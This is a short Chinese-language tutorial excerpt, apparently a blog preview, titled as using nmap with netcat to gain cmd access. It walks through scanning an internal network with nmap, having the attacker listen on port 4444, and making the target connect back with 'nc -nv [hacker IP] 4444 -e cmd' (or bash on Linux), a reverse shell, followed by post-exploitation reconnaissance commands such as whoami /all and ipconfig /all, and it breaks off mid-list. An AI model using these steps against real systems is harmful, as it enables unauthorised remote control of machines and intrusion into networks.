nmap配合nc拿到cmd权限
第一步:在内网进行nmap扫描nmap -sn [扫描内网网段] (直接跳过主机发现)第二步:确定目标:nmap -sS 【目标IP】第三步:黑客用nc.exe监听自己端口4444:nc -lp 4444第四步:服务端主动连接黑客:nc -nv 【黑客IP】 4444 -e cmd (如果是linux为-c bash)控制cmd后进行信息收集:whoami 查看自己身份whoami /all 获取当前域的信息ipconfig /all 查看详细ip...
复制链接